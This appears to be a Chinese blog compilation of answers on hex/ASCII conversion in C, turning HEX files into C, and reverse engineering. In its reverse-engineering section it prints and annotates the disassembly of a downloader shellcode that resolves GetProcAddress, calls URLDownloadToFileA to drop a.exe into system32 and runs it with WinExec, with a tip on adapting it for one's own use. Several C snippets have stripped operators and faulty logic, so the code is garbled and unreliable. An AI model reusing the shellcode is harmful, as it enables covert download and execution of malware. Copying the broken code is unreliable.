本文目錄一覽:
用c語言實現hex轉換成ascii的函數
#include stdio.h
char hextoascii(char hex_byte)
{
char result;
if((hex_byte=0)(hex_byte=9)) //變成ascii數字
result = hex_byte + 0x30;
else if((hex_byte = 10)(hex_byte = 15)) //變成ascii大寫字母
result = hex_byte + 0x37;
else
result = 0xff;
return result;
}
main()
{
short hex_data;
char ascii_data[10],i;
printf(“Input hex data:\n”);
scanf(“%x”,hex_data);
while(hex_data)
{
ascii_data[i++] = hextoascii((char)(hex_data%16));
hex_data /= 16;
}
printf(“Output ascii data:\n”);
for(unsigned char j = 0;j i;j++)
printf(“%c”,ascii_data[j]);
}
如何將單片機HEX文件轉換成C語言或彙編
1、.hex是二進文件。.asm是彙編文件。是C編譯器產生的。
如果誰把彙編語言還原成C,幾乎不太可能,
如有這時間功夫,C程序自已都可早早重新編好了。
2、可以用反向工程hex2c:
開始—運行—輸入CMD
找到hex2c.exe所在文件夾路徑
輸入 hex2c hex文件名稱.hex 生成c文件名稱.c
如何用C語言實現十六進位轉換為十進位
可以根據16進位轉10進位的演算法(即各位位碼值乘以位權之和)來實現該功能。
具體實現方法可以參考如下程序:
#include stdio.h
void main()
{
int he;
int re=0; // 保存轉換為10進位的結果
int k=16; // 16進位
int n=1; // 位權
scanf(“%d”, he); // 接收用戶輸入的16進位數,不含0x前綴
while(he != 0)
{
re += (he%10)*n; // 取出各位位碼值,並乘以對應的位權值
he /= 10; // 去掉16進位數的最低位,次低位變為最低位
n *= k; // 位權乘以16
}
printf(“%d”,re); // 輸出轉換後的結果
}
hex文件轉換成C語言
文件有兩種,一種是文本文件,一種是程序二進位文件,不管哪種文件都可以用十六進位編碼來顯示,稱為hex文件。
1、文本Hex文件一般不需要轉成C語言,更多的是程序二進位文件,用十六進位顯示,可以轉換成C語言,一般使用相應的反彙編程序來實現,這方面的工具很多,不同的平台略有不同。Windows平台一般常用的OllyDbg、Windbg、IDA,Linux平台使用最多的是GDB和Linux版的IDA。
OllyDbg,簡稱OD,一般是軟體逆向工程愛好者,最先使用的一個工具,但是因為當下不在更新,所以一般用一般用於學習使用,下圖中左上角的區域即為反彙編區域 ,用戶可以根據彙編指令,分析程序演算法,然後自己編寫代碼。
在Windows平台,特別是x64平台,最好用的反彙編工具除還得是Windbg。將程序載入Windbg後,可以輸入u命令來查看程序的反彙編代碼。
2、對於編程人員來說,逆向分析是一個基本的技能,但是往往不容易入門,這裡舉一個例子。以一段早些年ShellCode的十六進位代碼為例,代碼如下圖所示,這段不起眼的代碼,實際上實現了一個下載者的功能。
拿到這樣的十六進位代碼,一般來說,先將其生成二進位文件,然後再分析其指令,通過反彙編指令再寫出源碼。只需要將上面的十六進位代碼,保存到C語言的字元串數組中,寫入到一個Exe的文件空段中,再修改指令將其跳轉到程序入口處即可,這個過程類似於軟體安全領域的殼。
將十六進位代碼寫入一個exe文件後,就可以將exe文件載入動態調試器進行動態分析或者使用靜態反彙編程序進行靜態分析,兩者的不同在於動態調試器是要運行程序的,而靜態反彙編分析不需要運行程序,所以一般惡意程序,都採用靜態分析。反彙編開頭的一段十六進位代碼注釋如下:
4AD75021 5A pop edx ; 函數返回的地址保存到edx中
4AD75022 64:A1 30000000 mov eax, dword ptr fs:[30] ; 取peb
4AD75028 8B40 0C mov eax, dword ptr [eax+C] ; peb_link
4AD7502B 8B70 1C mov esi, dword ptr [eax+1C] ; 初始化列表到esi
4AD7502E AD lods dword ptr [esi] ; [esi]-eax + 8的位置即kernel32.dll的地址
4AD7502F 8B40 08 mov eax, dword ptr [eax+8] ; eax=kernel32.dll的地址
4AD75032 8BD8 mov ebx, eax ; ebx=kernel32.dll的基址
4AD75034 8B73 3C mov esi, dword ptr [ebx+3C] ; esi = pe頭偏移
4AD75037 8B741E 78 mov esi, dword ptr [esi+ebx+78] ; esi為kernel32.dll導出表的偏移
4AD7503B 03F3 add esi, ebx ; esi = kernel32.dll導出表的虛擬地址
4AD7503D 8B7E 20 mov edi, dword ptr [esi+20] ; edi=ent的偏移地址
4AD75040 03FB add edi, ebx ; edi = ent的虛擬地址
4AD75042 8B4E 14 mov ecx, dword ptr [esi+14] ; ecx = kernel32.dll導出地址的個數
4AD75045 33ED xor ebp, ebp ; ebp=0
4AD75047 56 push esi ; 保存導出表虛擬地址
4AD75048 57 push edi ; 保存ent虛擬地址
4AD75049 51 push ecx ; 保存計數
4AD7504A 8B3F mov edi, dword ptr [edi]
4AD7504C 03FB add edi, ebx ; 定位ent中的函數名
4AD7504E 8BF2 mov esi, edx ; esi為 要查詢的函數GetProcAddress即該call的下一個地址是數據
4AD75050 6A 0E push 0E ; 0xe0是GetProcAddress函數的字元個數
4AD75052 59 pop ecx ; 設置循環次數為 0xe
4AD75053 F3:A6 repe cmps byte ptr es:[edi], byte ptr [esi] ; ecx!=0zf=1 ecx=ecx-1 cmps判斷 GetProcAddress
4AD75055 74 08 je short 4AD7505F ; 如果ENT中的函數名為GetProcAddress跳走
4AD75057 59 pop ecx ; 不相等則將導出地址數出棧
4AD75058 5F pop edi ; ent虛擬地址出棧
4AD75059 83C7 04 add edi, 4 ; edi地址遞增4位元組 因為ENT的元素大小為4位元組
4AD7505C 45 inc ebp ; ebp用於保存ent中定位到GetProcAddress函數時的計數
4AD7505D ^ E2 E9 loopd short 4AD75048 ; 循環查詢
4AD7505F 59 pop ecx
4AD75060 5F pop edi
4AD75061 5E pop esi
4AD75062 8BCD mov ecx, ebp ; 計數保存於ecx
4AD75064 8B46 24 mov eax, dword ptr [esi+24] ; esi+0x24 Ordinal序號表偏移地址
4AD75067 03C3 add eax, ebx ; ordinal序號表的虛擬地址
4AD75069 D1E1 shl ecx, 1 ; ecx邏輯增加2倍 因為ordinal序號是WOR類型下面是通過add 來求ordinal所以這裡必須擴大2倍
4AD7506B 03C1 add eax, ecx
4AD7506D 33C9 xor ecx, ecx ; ecx=0
4AD7506F 66:8B08 mov cx, word ptr [eax] ; 保存取出的ordinal序號
4AD75072 8B46 1C mov eax, dword ptr [esi+1C] ; eax 為kenrnel32.dll的EAT的偏移地址
4AD75075 03C3 add eax, ebx ; eax = kernel32.dll的eat虛擬地址
4AD75077 C1E1 02 shl ecx, 2 ; 同上,擴大4倍因為eat中元素為DWORD值
4AD7507A 03C1 add eax, ecx
4AD7507C 8B00 mov eax, dword ptr [eax] ; eax即為GetProcAddress函數的地址 相對虛擬地址,EAT中保存的RVA
4AD7507E 03C3 add eax, ebx ; 與基址相加求得GetProcAddress函數的虛擬地址
4AD75080 8BFA mov edi, edx ; GetProcAddress字元到edi
4AD75082 8BF7 mov esi, edi ; esi保存GetProcAddress地址
4AD75084 83C6 0E add esi, 0E ; esi指向GetProcAddress字元串的末地址
4AD75087 8BD0 mov edx, eax ; edx為GetProcAddress的地址
4AD75089 6A 04 push 4
4AD7508B 59 pop ecx ; ecx=4
有經驗的程序員, 通過分析即明白上面反彙編代碼的主要目的就是獲取GetProcAddress函數的地址。繼續看反彙編代碼:
4AD7508C E8 50000000 call 4AD750E1 ; 設置IAT 得到4個函數的地址
4AD75091 83C6 0D add esi, 0D ; 從這裡開始實現ShellCode的真正功能
4AD75094 52 push edx
4AD75095 56 push esi ; urlmon
4AD75096 FF57 FC call dword ptr [edi-4] ; 調用LoadLibrarA來載入urlmon.dll
4AD75099 5A pop edx ; edx = GetProcAddress的地址
4AD7509A 8BD8 mov ebx, eax
4AD7509C 6A 01 push 1
4AD7509E 59 pop ecx
4AD7509F E8 3D000000 call 4AD750E1 ; 再次設置 IAT 得到URLDownLoadToFileA
4AD750A4 83C6 13 add esi, 13 ; esi指向URLDownLoadToFileA的末地址
4AD750A7 56 push esi
4AD750A8 46 inc esi
4AD750A9 803E 80 cmp byte ptr [esi], 80 ; 判斷esi是否為0x80 這裡在原碼中有0x80如果要自己用,應該加上一個位元組用於表示程序結束
4AD750AC ^ 75 FA jnz short 4AD750A8 ; 跨過這個跳轉,需要在OD中CTRL+E修改數據為0x80
4AD750AE 8036 80 xor byte ptr [esi], 80
4AD750B1 5E pop esi
4AD750B2 83EC 20 sub esp, 20 ; 開闢 32 byte棧空間
4AD750B5 8BDC mov ebx, esp ; ebx為棧區的指針
4AD750B7 6A 20 push 20
4AD750B9 53 push ebx
4AD750BA FF57 EC call dword ptr [edi-14] ; 調用GetSystemDirectoryA得到系統目錄
4AD750BD C70403 5C612E65 mov dword ptr [ebx+eax], 652E615C ; ebx+0x13 系統路徑占 0x13個位元組
4AD750C4 C74403 04 78650000 mov dword ptr [ebx+eax+4], 6578 ; 拼接下載後的文件路徑%systemroot%\system32\a.exe
4AD750CC 33C0 xor eax, eax
4AD750CE 50 push eax
4AD750CF 50 push eax
4AD750D0 53 push ebx
4AD750D1 56 push esi
4AD750D2 50 push eax
4AD750D3 FF57 FC call dword ptr [edi-4] ; URLDownLoadToFile下載文件為a.exe
4AD750D6 8BDC mov ebx, esp
4AD750D8 50 push eax
4AD750D9 53 push ebx
4AD750DA FF57 F0 call dword ptr [edi-10] ; WinExec執行代碼
4AD750DD 50 push eax
4AD750DE FF57 F4 call dword ptr [edi-C] ; ExitThread退出線程
接下來的操作便是通過已獲得地址的GetProcAddress()來分別得到GetSystemDirectory()、URLDownLoadToFile()、WinExec()及ExitProcess()函數的地址,並依次執行。到這裡實際上有經驗的程序員,馬上就能寫出C語言代碼來。 後面的數據區不在分析了,主要是介紹如何操作。
使用C語言,雖然知道了Hex文件的大致流程,但是一般來說,對於彙編指令,更傾向於直接使用asm關鍵字來使用內聯彙編。如下圖所示:
通過這個實例 ,相信應該能理解一個大致的流程啦。
C語言格式怎麼轉換成hex格式?
在KEIL軟體上建立工程項目,編輯C語言,編譯調試無錯後,點擊project下的options for target,在output標籤下勾選輸出HEX,確定後就在編譯一下會自動生成HEX文件在相同目錄里。
原創文章,作者:小藍,如若轉載,請註明出處:https://www.506064.com/zh-tw/n/305120.html